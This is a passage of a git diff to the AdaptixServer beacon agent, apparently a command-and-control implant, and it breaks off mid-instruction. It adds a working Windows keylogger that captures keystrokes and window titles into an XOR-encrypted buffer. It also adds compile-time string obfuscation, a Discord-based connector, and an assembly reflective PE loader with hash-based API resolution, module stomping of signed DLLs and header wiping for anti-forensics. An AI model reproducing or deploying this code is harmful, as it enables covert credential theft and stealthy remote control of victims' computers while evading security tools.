VK_LEFT: BufferAppendStr(buf, pLen, "[<]", xorKey, pipeWrite); return; + case VK_RIGHT: BufferAppendStr(buf, pLen, "[>]", xorKey, pipeWrite); return; + case VK_UP: BufferAppendStr(buf, pLen, "[UP]", xorKey, pipeWrite); return; + case VK_DOWN: BufferAppendStr(buf, pLen, "[DN]", xorKey, pipeWrite); return; + case VK_SPACE: BufferAppendStr(buf, pLen, " ", xorKey, pipeWrite); return; + default: break; + } + + // Printable: use GetKeyboardState + ToUnicode + BYTE kbState[256]; + if (!api->GetKeyboardState(kbState)) + return; + + UINT scanCode = api->MapVirtualKeyW(vk, 0); // MAPVK_VK_TO_VSC + WCHAR unicodeBuf[4] = { 0 }; + int result = api->ToUnicode(vk, scanCode, kbState, unicodeBuf, 4, 0); + + if (result > 0) { + // Convert to UTF-8 + char utf8Buf[16] = { 0 }; + int utf8Len = ApiWin->WideCharToMultiByte(CP_UTF8, 0, unicodeBuf, result, + utf8Buf, sizeof(utf8Buf) - 1, NULL, NULL); + if (utf8Len > 0) { + BufferAppend(buf, pLen, (BYTE*)utf8Buf, utf8Len, xorKey, pipeWrite); + } + } + // result == 0 or < 0 (dead key): ignore +} + +// ─── Process window title change ──────────────────────────────────────────── + +static void ProcessWindowTitle(User32Api* api, HWND* pLastHwnd, BYTE* buf, ULONG* pLen, + BYTE* xorKey, HANDLE pipeWrite) +{ + if (!api->GetForegroundWindow || !api->GetWindowTextW) + return; + + HWND fg = api->GetForegroundWindow(); + if (!fg || fg == *pLastHwnd) + return; + + *pLastHwnd = fg; + + // Get PID + DWORD pid = 0; + if (api->GetWindowThreadProcessId) + api->GetWindowThreadProcessId(fg, &pid); + + // Get window title (wide) + WCHAR titleW[256] = { 0 }; + int titleLen = api->GetWindowTextW(fg, titleW, 255); + if (titleLen <= 0) + return; + + // Convert to UTF-8 + char titleUtf8[512] = { 0 }; + int utf8Len = ApiWin->WideCharToMultiByte(CP_UTF8, 0, titleW, titleLen, + titleUtf8, sizeof(titleUtf8) - 1, NULL, NULL); + if (utf8Len <= 0) + return; + + // Format: \n[PID:1234] Window Title\n + char header[600] = { 0 }; + ApiWin->snprintf(header, sizeof(header) - 1, "\n[PID:%lu] ", pid); + BufferAppendStr(buf, pLen, header, xorKey, pipeWrite); + BufferAppend(buf, pLen, (BYTE*)titleUtf8, utf8Len, xorKey, pipeWrite); + BufferAppendStr(buf, pLen, "\n", xorKey, pipeWrite); +} + +// ─── Worker thread entry point ────────────────────────────────────────────── + +DWORD WINAPI KeylogWorker(LPVOID lpParam) +{ + KeylogConfig* cfg = (KeylogConfig*)lpParam; + if (!cfg || !cfg->pipeWrite) { + DBG("[keylog] FAIL: invalid config or pipe"); + return 1; + } + + DBG("[keylog] Worker started, pipe=%p, poll=%lu ms", cfg->pipeWrite, cfg->pollIntervalMs); + + // Resolve user32 APIs + User32Api u32; + if (!ResolveUser32(&u32)) { + DBG("[keylog] FAIL: ResolveUser32 failed"); + memset(&u32, 0, sizeof(u32)); + return 2; + } + + // Allocate encrypted buffer on heap (zeroed) + BYTE* buffer = (BYTE*)MemAllocLocal(KEYLOG_BUFFER_SIZE); + if (!buffer) { + DBG("[keylog] FAIL: buffer alloc failed"); + memset(&u32, 0, sizeof(u32)); + return 3; + } + ULONG bufLen = 0; + DBG("[keylog] Polling loop starting..."); + + // Generate XOR key + BYTE xorKey[XOR_KEY_LEN]; + GenerateRandomBytes(xorKey, XOR_KEY_LEN); + + // Window title tracking + HWND lastHwnd = NULL; + ULONG titleCounter = 0; + ULONG titleCheckInterval = TITLE_INTERVAL_MS / (cfg->pollIntervalMs ? cfg->pollIntervalMs : 100); + + // Main polling loop + while (InterlockedCompareExchange(&cfg->active, 1, 1) == 1) { + + // Poll all virtual keys + for (int vk = 0x08; vk <= 0xFE; vk++) { + SHORT state = u32.GetAsyncKeyState(vk); + if (state & 0x0001) { + ProcessKey(&u32, vk, buffer, &bufLen, xorKey, cfg->pipeWrite); + } + } + + // Periodic window title check + titleCounter++; + if (titleCounter >= titleCheckInterval) { + titleCounter = 0; + ProcessWindowTitle(&u32, &lastHwnd, buffer, &bufLen, xorKey, cfg->pipeWrite); + } + + // Jittered sleep + ULONG sleepMs = cfg->pollIntervalMs + (GenerateRandom32() % 50); + mySleep(sleepMs); + } + + // Flush remaining data + FlushBuffer(buffer, &bufLen, xorKey, cfg->pipeWrite); + + // Cleanup: zero sensitive data + memset(xorKey, 0, XOR_KEY_LEN); + memset(&u32, 0, sizeof(u32)); + MemFreeLocal((LPVOID*)&buffer, KEYLOG_BUFFER_SIZE); + + return 0; +} diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h new file mode 100644 index 000000000..45513a129 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h @@ -0,0 +1,11 @@ +#pragma once + +#include + +struct KeylogConfig { + HANDLE pipeWrite; + volatile LONG active; // InterlockedExchange for thread-safe stop + ULONG pollIntervalMs; // base polling interval (default 100ms) +}; + +DWORD WINAPI KeylogWorker(LPVOID lpParam); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp index d692cc1c7..4f8864077 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/MainAgent.cpp @@ -15,6 +15,8 @@ #include "ConnectorTCP.h" #elif defined(BEACON_DNS) #include "ConnectorDNS.h" +#elif defined(BEACON_DISCORD) +#include "ConnectorDiscord.h" #endif Agent* g_Agent; @@ -30,6 +32,8 @@ static Connector* CreateConnector() return new ConnectorTCP(); #elif defined(BEACON_DNS) return new ConnectorDNS(); +#elif defined(BEACON_DISCORD) + return new ConnectorDiscord(); #endif } @@ -41,8 +45,6 @@ DWORD WINAPI AgentMain(LPVOID lpParam) g_Agent = new Agent(); g_Connector = CreateConnector(); - g_Connector->SetPivotter(g_Agent->pivotter); - g_AsyncBofManager = new Boffer(); g_AsyncBofManager->Initialize(); @@ -62,14 +64,11 @@ DWORD WINAPI AgentMain(LPVOID lpParam) continue; do { - BOOL justSentOutput = FALSE; - if (packerOut->datasize() > 4) { packerOut->Set32(0, packerOut->datasize()); g_Connector->Exchange(packerOut->data(), packerOut->datasize(), g_Agent->SessionKey); packerOut->Clear(TRUE); packerOut->Pack32(0); - justSentOutput = TRUE; } else { g_Connector->Exchange(nullptr, 0, g_Agent->SessionKey); @@ -77,8 +76,8 @@ DWORD WINAPI AgentMain(LPVOID lpParam) if (g_Connector->RecvSize() > 0 && g_Connector->RecvData()) g_Agent->commander->ProcessCommandTasks(g_Connector->RecvData(), g_Connector->RecvSize(), packerOut); - g_Connector->RecvClear(); + g_Agent->downloader->ProcessDownloader(packerOut); g_Agent->jober->ProcessJobs(packerOut); g_Agent->proxyfire->ProcessTunnels(packerOut); @@ -86,15 +85,8 @@ DWORD WINAPI AgentMain(LPVOID lpParam) g_AsyncBofManager->ProcessAsyncBofs(packerOut); if (g_Agent->IsActive()) { - BOOL hasOutput = (packerOut->datasize() >= 8) || justSentOutput; - if (!hasOutput) - hasOutput = (g_Agent->downloader->downloads.size() > 0) || (g_Agent->proxyfire->tunnels.size() > 0) || (g_Agent->jober->jobs.size() > 0); - - DWORD pollIntervalMs = 0; - if (g_Agent->pivotter->pendingWrite) - pollIntervalMs = 10; - - g_Connector->Sleep(g_AsyncBofManager->GetWakeupEvent(), g_Agent->GetWorkingSleep(), g_Agent->config->sleep_delay, g_Agent->config->jitter_delay, hasOutput, pollIntervalMs); + const BOOL hasOutput = (packerOut->datasize() >= 8); + g_Connector->Sleep(g_AsyncBofManager->GetWakeupEvent(), g_Agent->GetWorkingSleep(), g_Agent->config->sleep_delay, g_Agent->config->jitter_delay, hasOutput); } } while (g_Connector->IsConnected() && g_Agent->IsActive()); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h new file mode 100644 index 000000000..3ed6855c2 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Obfuscate.h @@ -0,0 +1,35 @@ +#pragma once + +// Compile-time string obfuscation. +// Strings are XOR-encrypted at compile time and decrypted at first access. + +namespace obf { + +template +class String { + mutable char data_[N]; + mutable bool dec_; + +public: + constexpr String(const char (&str)[N]) : data_{}, dec_(false) { + for (unsigned int i = 0; i < N; ++i) + data_[i] = str[i] ^ KEY; + } + + operator const char*() const { + if (!dec_) { + for (unsigned int i = 0; i < N; ++i) + data_[i] ^= KEY; + dec_ = true; + } + return data_; + } +}; + +constexpr char keygen(const char* f, int l) { + return static_cast((f[0] * 7 + l * 13 + 0x5A) & 0xFF) | 1; +} + +} // namespace obf + +#define OBF(str) (obf::String(str)) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp index b671628ac..f6f5d44c0 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp @@ -8,7 +8,7 @@ ULONG Djb2A(PUCHAR str) if (str == NULL) return 0; - ULONG hash = 1572; + ULONG hash = DJB2_SEED; int c; while (c = *str++) { if (c >= 'A' && c <= 'Z') @@ -23,7 +23,7 @@ ULONG Djb2W(PWCHAR str) if (str == NULL) return 0; - ULONG hash = 1572; + ULONG hash = DJB2_SEED; int c; while (c = *str++) { if (c >= L'A' && c <= L'Z') diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp index ff65b7db2..2d0961759 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.cpp @@ -277,6 +277,12 @@ ULONG GenerateRandom32() return seed; } +void GenerateRandomBytes(BYTE* buf, ULONG len) +{ + for (ULONG i = 0; i < len; i++) + buf[i] = (BYTE)(GenerateRandom32() & 0xFF); +} + BYTE GetGmtOffset() { TIME_ZONE_INFORMATION temp; diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h index 5e446ab0d..3402e6462 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/utils.h @@ -45,6 +45,8 @@ BOOL WriteDataToSocket(SOCKET sock, BYTE* buffer, ULONG bufferSize); ULONG GenerateRandom32(); +void GenerateRandomBytes(BYTE* buf, ULONG len); + BYTE GetGmtOffset(); BOOL IsElevate(); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm b/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm new file mode 100644 index 000000000..7c614e5ca --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm @@ -0,0 +1,915 @@ +; ============================================================================ +; stub_rdi.x64.asm — Position-independent reflective PE loader (x86-64) +; +; NASM flat binary: nasm -f bin -DDJB2_SEED=... stub_rdi.x64.asm -o stub.x64.bin +; +; Prepended to the beacon DLL at build time. After the XOR decoder stub +; decodes [stub + DLL], execution transfers here. +; +; OPSEC: +; - NtCreateSection(SEC_COMMIT) + NtMapViewOfSection → MEM_MAPPED +; - Per-section NtProtectVirtualMemory → RX / RW / R (never RWX) +; - PE headers zeroed post-load (anti-forensics) +; - No VirtualAlloc / MEM_PRIVATE +; +; Optional: -DMODULE_STOMP → LoadLibraryA a sacrificial DLL and overwrite +; its image, so the beacon runs from MEM_IMAGE backed by a signed file. +; Falls back to SEC_COMMIT if no candidate DLL is large enough. +; +; Compile-time defines (-D): +; DJB2_SEED, HASH_MOD_NTDLL, HASH_MOD_KERNEL32, +; HASH_NTCREATESECTION, HASH_NTMAPVIEWOFSECTION, +; HASH_NTPROTECTVIRTUALMEMORY, HASH_NTCLOSE, +; HASH_LOADLIBRARYA, HASH_GETPROCADDRESS, HASH_FLUSHINSTRUCTIONCACHE +; [MODULE_STOMP only] HASH_FREELIBRARY +; ============================================================================ + +BITS 64 +ORG 0 + +; --------------------------------------------------------------------------- +; PE constants +; --------------------------------------------------------------------------- +%define IMAGE_REL_BASED_DIR64 10 +%define IMAGE_REL_BASED_HIGHLOW 3 + +%define SEC_COMMIT 0x8000000 +%define SECTION_ALL_ACCESS 0xF001F +%define PAGE_EXECUTE_READWRITE 0x40 +%define PAGE_READWRITE 0x04 +%define PAGE_EXECUTE_READ 0x20 +%define PAGE_READONLY 0x02 + +%define DLL_PROCESS_ATTACH 1 + +%define IMAGE_SCN_MEM_EXECUTE 0x20000000 +%define IMAGE_SCN_MEM_WRITE 0x80000000 + +; --------------------------------------------------------------------------- +; Stack frame layout (FRAME_SIZE = 0xD8) +; +; 8 pushes (64 bytes) + return address (8 bytes) = 72 on stack. +; 72 + 0xD8 (216) = 288 = 18 * 16 → RSP 16-byte aligned before CALL. +; +; [rsp+0x00..0x4F] volatile: shadow space (0x20) + stack args for API calls +; [rsp+0x50] LOC_LOADLIB LoadLibraryA address +; [rsp+0x58] LOC_GETPROC GetProcAddress address +; [rsp+0x60] LOC_FLUSHIC FlushInstructionCache address +; [rsp+0x68] LOC_PE_SRC source PE base +; [rsp+0x70] LOC_NT_HDR NT_HEADERS pointer (source) +; [rsp+0x78] LOC_IMAGE_SIZE SizeOfImage +; [rsp+0x80] LOC_SECTION_HDL section handle +; [rsp+0x88] LOC_IMAGE_BASE mapped base +; [rsp+0x90] LOC_VIEW_SIZE view size / LARGE_INTEGER +; [rsp+0x98] LOC_TEMP_ADDR temp: NtProtect &BaseAddress +; [rsp+0xA0] LOC_TEMP_SIZE temp: NtProtect &RegionSize +; [rsp+0xA8] LOC_OLD_PROT temp: NtProtect &OldProtect +; [rsp+0xB0] LOC_SAVE1 general purpose save slot +; [rsp+0xB8] LOC_SAVE2 general purpose save slot +; [rsp+0xC0] LOC_SAVE3 general purpose save slot +; [rsp+0xC8] LOC_SAVE4 general purpose save slot +; --------------------------------------------------------------------------- +%define FRAME_SIZE 0xD8 + +%define LOC_LOADLIB 0x50 +%define LOC_GETPROC 0x58 +%define LOC_FLUSHIC 0x60 +%define LOC_PE_SRC 0x68 +%define LOC_NT_HDR 0x70 +%define LOC_IMAGE_SIZE 0x78 +%define LOC_SECTION_HDL 0x80 +%define LOC_IMAGE_BASE 0x88 +%define LOC_VIEW_SIZE 0x90 +%define LOC_TEMP_ADDR 0x98 +%define LOC_TEMP_SIZE 0xA0 +%define LOC_OLD_PROT 0xA8 +%define LOC_SAVE1 0xB0 +%define LOC_SAVE2 0xB8 +%define LOC_SAVE3 0xC0 +%define LOC_SAVE4 0xC8 + +; ============================================================================ +; PHASE 1 — Prologue +; ============================================================================ +_start: + push rsi + push rdi + push rbp + push rbx + push r12 + push r13 + push r14 + push r15 + sub rsp, FRAME_SIZE + cld ; ensure forward direction for rep movsb + +; ============================================================================ +; PHASE 2 — Self-locate: compute DLL base from _stub_end label +; ============================================================================ + call _delta +_delta: + pop rax + lea rbx, [rax + (_stub_end - _delta)] + +; ============================================================================ +; PHASE 3 — Validate MZ + PE signatures +; ============================================================================ + cmp word [rbx], 0x5A4D + jne _exit + + movsxd rax, dword [rbx + 0x3C] + lea rbp, [rbx + rax] + + cmp dword [rbp], 0x00004550 + jne _exit + mov [rsp + LOC_PE_SRC], rbx + mov [rsp + LOC_NT_HDR], rbp + mov eax, dword [rbp + 0x50] + mov [rsp + LOC_IMAGE_SIZE], rax + +; ============================================================================ +; PHASE 4 — PEB walk: resolve ntdll.dll and kernel32.dll bases +; ============================================================================ + mov ecx, HASH_MOD_NTDLL + call _find_module + test rax, rax + jz _exit + mov r12, rax + + mov ecx, HASH_MOD_KERNEL32 + call _find_module + test rax, rax + jz _exit + mov r13, rax + +; ============================================================================ +; PHASE 5 — EAT walk: resolve 7 APIs by hash +; Module bases saved to SAVE1/SAVE2 so _find_export can clobber regs freely. +; ============================================================================ + mov [rsp + LOC_SAVE1], r12 ; ntdll base + mov [rsp + LOC_SAVE2], r13 ; kernel32 base + + mov rcx, r12 + mov edx, HASH_NTCREATESECTION + call _find_export + test rax, rax + jz _exit + mov r12, rax ; r12 = NtCreateSection + + mov rcx, [rsp + LOC_SAVE1] + mov edx, HASH_NTMAPVIEWOFSECTION + call _find_export + test rax, rax + jz _exit + mov r13, rax ; r13 = NtMapViewOfSection + + mov rcx, [rsp + LOC_SAVE1] + mov edx, HASH_NTPROTECTVIRTUALMEMORY + call _find_export + test rax, rax + jz _exit + mov r14, rax ; r14 = NtProtectVirtualMemory + + mov rcx, [rsp + LOC_SAVE1] + mov edx, HASH_NTCLOSE + call _find_export + test rax, rax + jz _exit + mov r15, rax ; r15 = NtClose + + mov rcx, [rsp + LOC_SAVE2] + mov edx, HASH_LOADLIBRARYA + call _find_export + mov [rsp + LOC_LOADLIB], rax + + mov rcx, [rsp + LOC_SAVE2] + mov edx, HASH_GETPROCADDRESS + call _find_export + mov [rsp + LOC_GETPROC], rax + + mov rcx, [rsp + LOC_SAVE2] + mov edx, HASH_FLUSHINSTRUCTIONCACHE + call _find_export + mov [rsp + LOC_FLUSHIC], rax + +%ifdef MODULE_STOMP + mov rcx, [rsp + LOC_SAVE2] ; kernel32 base + mov edx, HASH_FREELIBRARY + call _find_export + mov [rsp + LOC_SECTION_HDL], rax ; repurpose as FreeLibrary addr + + mov rcx, [rsp + LOC_SAVE2] ; kernel32 base + mov edx, HASH_LOADLIBRARYEXA + call _find_export + mov [rsp + LOC_VIEW_SIZE], rax ; repurpose as LoadLibraryExA addr +%endif + + cmp qword [rsp + LOC_LOADLIB], 0 + je _exit + cmp qword [rsp + LOC_GETPROC], 0 + je _exit + cmp qword [rsp + LOC_FLUSHIC], 0 + je _exit + +%ifdef MODULE_STOMP + ; If stomp APIs missing, skip stomp but still try SEC_COMMIT fallback + cmp qword [rsp + LOC_SECTION_HDL], 0 + je .stomp_fallback + cmp qword [rsp + LOC_VIEW_SIZE], 0 + je .stomp_fallback +%endif + + mov rbx, [rsp + LOC_PE_SRC] + mov rbp, [rsp + LOC_NT_HDR] + +; ============================================================================ +; PHASE 6/7 — Module Stomp (if MODULE_STOMP) or SEC_COMMIT fallback +; +; Module stomping: LoadLibraryA a sacrificial signed DLL, check if its +; SizeOfImage >= beacon's SizeOfImage, make it writable, then overwrite +; it with the beacon PE. The beacon runs from MEM_IMAGE backed by a +; real file on disk. If no candidate fits, fall through to SEC_COMMIT. +; ============================================================================ + +%ifdef MODULE_STOMP + ; ---- RIP-relative address of _stomp_paths data ---- + call .get_stomp_addr +.get_stomp_addr: + pop rax + lea rsi, [rax + (_stomp_paths - .get_stomp_addr)] + +.stomp_try_next: + ; End sentinel: double-null → all candidates exhausted, fall through + cmp byte [rsi], 0 + je .stomp_fallback + + ; Save rsi (path pointer) across LoadLibraryExA call + mov [rsp + LOC_SAVE3], rsi + + ; LoadLibraryExA(path, NULL, DONT_RESOLVE_DLL_REFERENCES=1) + ; Maps DLL as MEM_IMAGE but does NOT run DllMain, no imports resolved + mov rcx, rsi + xor rdx, rdx ; hFile = NULL + mov r8d, 1 ; DONT_RESOLVE_DLL_REFERENCES + call qword [rsp + LOC_VIEW_SIZE] ; LoadLibraryExA + + ; Restore rsi + mov rsi, [rsp + LOC_SAVE3] + + ; If LoadLibraryExA failed → skip to next path + test rax, rax + jz .stomp_advance + + ; Save hModule + mov [rsp + LOC_SAVE4], rax + + ; Validate MZ signature — if corrupted (DLL already stomped by + ; another packer), skip it and try the next candidate. + cmp word [rax], 0x5A4D + jne .stomp_free_advance + + ; Validate e_lfanew is reasonable (< 0x400) + movsxd rcx, dword [rax + 0x3C] + cmp ecx, 0x400 + ja .stomp_free_advance + + ; Validate PE signature + cmp dword [rax + rcx], 0x00004550 + jne .stomp_free_advance + + ; Read SizeOfImage from NT_HEADERS + mov ecx, dword [rax + rcx + 0x50] + + ; Compare with beacon's required SizeOfImage + cmp rcx, [rsp + LOC_IMAGE_SIZE] + jb .stomp_free_advance ; too small + + ; Anti double-stomp: check if OUR code runs from this DLL. + ; If another packer (BalezeKit) stomped this DLL with our shellcode, + ; LoadLibraryExA returns the same handle. Zeroing it would destroy + ; our own currently-executing code → crash. + call .get_self_rip +.get_self_rip: + pop rdx ; rdx = our current address + mov rax, [rsp + LOC_SAVE4] ; hModule = DLL base + cmp rdx, rax + jb .stomp_found ; RIP < base → not in this DLL + lea rax, [rax + rcx] ; rax = base + SizeOfImage + cmp rdx, rax + jae .stomp_found ; RIP >= end → not in this DLL + jmp .stomp_free_advance ; we're INSIDE this DLL → skip + +.stomp_free_advance: + ; DLL invalid or too small → FreeLibrary and try next + mov rcx, [rsp + LOC_SAVE4] + call qword [rsp + LOC_SECTION_HDL] ; FreeLibrary + jmp .stomp_advance + +.stomp_found: + ; ---- Suitable DLL found — make entire image writable ---- + ; NtProtectVirtualMemory on MEM_IMAGE changes only ONE region per call + ; (each PE section is a separate region). Must loop until entire + ; SizeOfImage is covered. + mov rax, [rsp + LOC_SAVE4] ; hModule = base + mov [rsp + LOC_IMAGE_BASE], rax + + ; LOC_TEMP_ADDR = current address, LOC_SAVE3 = remaining bytes + mov [rsp + LOC_TEMP_ADDR], rax + mov rax, [rsp + LOC_IMAGE_SIZE] + mov [rsp + LOC_SAVE3], rax ; remaining = SizeOfImage + +.stomp_protect_loop: + cmp qword [rsp + LOC_SAVE3], 0 + jle .stomp_protect_done + + ; NtProtectVirtualMemory: changes one region, updates TEMP_ADDR/TEMP_SIZE + mov rax, [rsp + LOC_SAVE3] + mov [rsp + LOC_TEMP_SIZE], rax ; request remaining size + mov rcx, -1 + lea rdx, [rsp + LOC_TEMP_ADDR] + lea r8, [rsp + LOC_TEMP_SIZE] + mov r9d, PAGE_EXECUTE_READWRITE ; RWX (not just RW — needed to add X later) + lea rax, [rsp + LOC_OLD_PROT] + mov [rsp + 0x20], rax + call r14 ; NtProtectVirtualMemory + test eax, eax + js .stomp_protect_fail + + ; Advance: next_addr = TEMP_ADDR + TEMP_SIZE (region actually changed) + mov rax, [rsp + LOC_TEMP_ADDR] + add rax, [rsp + LOC_TEMP_SIZE] + mov [rsp + LOC_TEMP_ADDR], rax + + ; remaining = (hModule + IMAGE_SIZE) - next_addr + mov rcx, [rsp + LOC_SAVE4] + add rcx, [rsp + LOC_IMAGE_SIZE] + sub rcx, rax + mov [rsp + LOC_SAVE3], rcx + jmp .stomp_protect_loop + +.stomp_protect_done: + ; Success — zero entire target area before copying. + ; The stomped DLL's residual content would corrupt .bss + ; (uninitialized globals must be zero). SEC_COMMIT pages + ; are already zeroed by the kernel, but stomped DLL is not. + push rdi + push rcx + mov rdi, [rsp + 16 + LOC_IMAGE_BASE] + mov ecx, dword [rsp + 16 + LOC_IMAGE_SIZE] + xor eax, eax + rep stosb + pop rcx + pop rdi + + ; Clear LOC_SECTION_HDL so Phase 13 skips NtClose + mov qword [rsp + LOC_SECTION_HDL], 0 + jmp .phase8_copy_headers + +.stomp_protect_fail: + ; NtProtectVirtualMemory failed → FreeLibrary and try next + mov rcx, [rsp + LOC_SAVE4] + call qword [rsp + LOC_SECTION_HDL] ; FreeLibrary + ; Restore rsi from LOC_SAVE3 (still valid) + mov rsi, [rsp + LOC_SAVE3] + +.stomp_advance: + ; Skip current path string past its null terminator +.stomp_skip: + cmp byte [rsi], 0 + je .stomp_skip_done + inc rsi + jmp .stomp_skip +.stomp_skip_done: + inc rsi ; skip the null byte itself + jmp .stomp_try_next + +.stomp_fallback: +%endif ; MODULE_STOMP + +; ============================================================================ +; PHASE 6 — NtCreateSection(SEC_COMMIT) [fallback when MODULE_STOMP fails, +; or the only path when MODULE_STOMP is not defined] +; 7 args: 4 reg + 3 stack +; ============================================================================ + mov rax, [rsp + LOC_IMAGE_SIZE] + mov [rsp + LOC_VIEW_SIZE], rax + + lea rcx, [rsp + LOC_SECTION_HDL] + mov edx, SECTION_ALL_ACCESS + xor r8, r8 + lea r9, [rsp + LOC_VIEW_SIZE] + mov qword [rsp + 0x20], PAGE_EXECUTE_READWRITE + mov qword [rsp + 0x28], SEC_COMMIT + mov qword [rsp + 0x30], 0 + call r12 + test eax, eax + js _exit + +; ============================================================================ +; PHASE 7 — NtMapViewOfSection +; 10 args: 4 reg + 6 stack +; ============================================================================ + mov qword [rsp + LOC_IMAGE_BASE], 0 + mov rax, [rsp + LOC_IMAGE_SIZE] + mov [rsp + LOC_VIEW_SIZE], rax + + mov rcx, [rsp + LOC_SECTION_HDL] + mov rdx, -1 + lea r8, [rsp + LOC_IMAGE_BASE] + xor r9, r9 + mov qword [rsp + 0x20], 0 + mov qword [rsp + 0x28], 0 + lea rax, [rsp + LOC_VIEW_SIZE] + mov [rsp + 0x30], rax + mov qword [rsp + 0x38], 2 + mov qword [rsp + 0x40], 0 + mov qword [rsp + 0x48], PAGE_EXECUTE_READWRITE + call r13 + test eax, eax + js _cleanup_section + +; ============================================================================ +; PHASE 8 — Copy PE headers (rep movsb clobbers rsi/rdi/rcx) +; ============================================================================ +.phase8_copy_headers: + push rsi + push rdi + push rcx + + mov rsi, [rsp + 24 + LOC_PE_SRC] + mov rdi, [rsp + 24 + LOC_IMAGE_BASE] + mov ecx, dword [rbp + 0x54] + rep movsb + + pop rcx + pop rdi + pop rsi + +; ============================================================================ +; PHASE 9 — Copy sections +; Uses push/pop for rsi/rdi/rcx around rep movsb — no Win64 API calls here, +; so shadow space corruption is not a concern. +; ============================================================================ + movzx eax, word [rbp + 0x14] + lea r8, [rbp + 0x18] + add r8, rax + movzx ecx, word [rbp + 0x06] + test ecx, ecx + jz .sections_done + +.copy_section: + push rcx + push r8 + + mov eax, dword [r8 + 0x10] ; SizeOfRawData + test eax, eax + jz .next_section + + mov ecx, dword [r8 + 0x14] ; PointerToRawData (32-bit RVA) + mov rsi, [rsp + 16 + LOC_PE_SRC] + add rsi, rcx ; src = PE_base + PointerToRawData + + mov ecx, dword [r8 + 0x0C] ; VirtualAddress (32-bit RVA) + mov rdi, [rsp + 16 + LOC_IMAGE_BASE] + add rdi, rcx ; dst = mapped_base + VirtualAddress + + mov ecx, eax ; count = SizeOfRawData + rep movsb + +.next_section: + pop r8 + pop rcx + add r8, 40 + dec ecx + jnz .copy_section + +.sections_done: + +; ============================================================================ +; PHASE 10 — Base relocations +; ============================================================================ + mov rax, [rsp + LOC_IMAGE_BASE] + mov rcx, [rbp + 0x30] + sub rax, rcx + jz .reloc_done + + mov r9, rax ; r9 = delta + mov r10d, dword [rbp + 0xB4] + test r10d, r10d + jz .reloc_done + + mov r8d, dword [rbp + 0xB0] + add r8, [rsp + LOC_IMAGE_BASE] + lea r10, [r8 + r10] + +.reloc_block: + cmp r8, r10 + jae .reloc_done + + mov eax, dword [r8] + mov ecx, dword [r8 + 4] + test ecx, ecx + jz .reloc_done + + add rax, [rsp + LOC_IMAGE_BASE] + lea r11, [r8 + rcx] + lea rbx, [r8 + 8] + +.reloc_entry: + cmp rbx, r11 + jae .reloc_next_block + + movzx edx, word [rbx] + mov ecx, edx + shr ecx, 12 + and edx, 0x0FFF + + cmp cl, IMAGE_REL_BASED_DIR64 + je .reloc_dir64 + cmp cl, IMAGE_REL_BASED_HIGHLOW + je .reloc_highlow + jmp .reloc_skip + +.reloc_dir64: + add [rax + rdx], r9 + jmp .reloc_skip + +.reloc_highlow: + add dword [rax + rdx], r9d + jmp .reloc_skip + +.reloc_skip: + add rbx, 2 + jmp .reloc_entry + +.reloc_next_block: + mov r8, r11 + jmp .reloc_block + +.reloc_done: + mov rbp, [rsp + LOC_NT_HDR] + +; ============================================================================ +; PHASE 11 — Import resolution +; Saves loop state to LOC_SAVE1..SAVE4 across Win64 API calls (no push/pop +; around calls, avoiding shadow space corruption of saved registers). +; +; SAVE1 = import descriptor pointer +; SAVE2 = INT (OriginalFirstThunk) pointer +; SAVE3 = IAT (FirstThunk) pointer +; SAVE4 = hModule +; ============================================================================ + mov eax, dword [rbp + 0x94] + test eax, eax + jz .imports_done + + mov eax, dword [rbp + 0x90] + test eax, eax + jz .imports_done + + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_SAVE1], rax ; save descriptor ptr + +.import_descriptor: + mov r8, [rsp + LOC_SAVE1] + mov eax, dword [r8 + 0x0C] + test eax, eax + jz .imports_done + + ; LoadLibraryA(DLL name) + add rax, [rsp + LOC_IMAGE_BASE] + mov rcx, rax + call qword [rsp + LOC_LOADLIB] + test rax, rax + jz .imports_done + mov [rsp + LOC_SAVE4], rax ; hModule + + mov r8, [rsp + LOC_SAVE1] + + ; OriginalFirstThunk (INT) at +0x00 + mov eax, dword [r8] + test eax, eax + jnz .have_oft + mov eax, dword [r8 + 0x10] +.have_oft: + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_SAVE2], rax ; INT ptr + + mov eax, dword [r8 + 0x10] + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_SAVE3], rax ; IAT ptr + +.import_thunk: + mov rsi, [rsp + LOC_SAVE2] ; INT + mov rax, [rsi] + test rax, rax + jz .import_next_desc + + ; Check ordinal flag (bit 63) + bt rax, 63 + jc .import_by_ordinal + + ; Import by name + add rax, [rsp + LOC_IMAGE_BASE] + lea rdx, [rax + 2] ; skip Hint → name string + mov 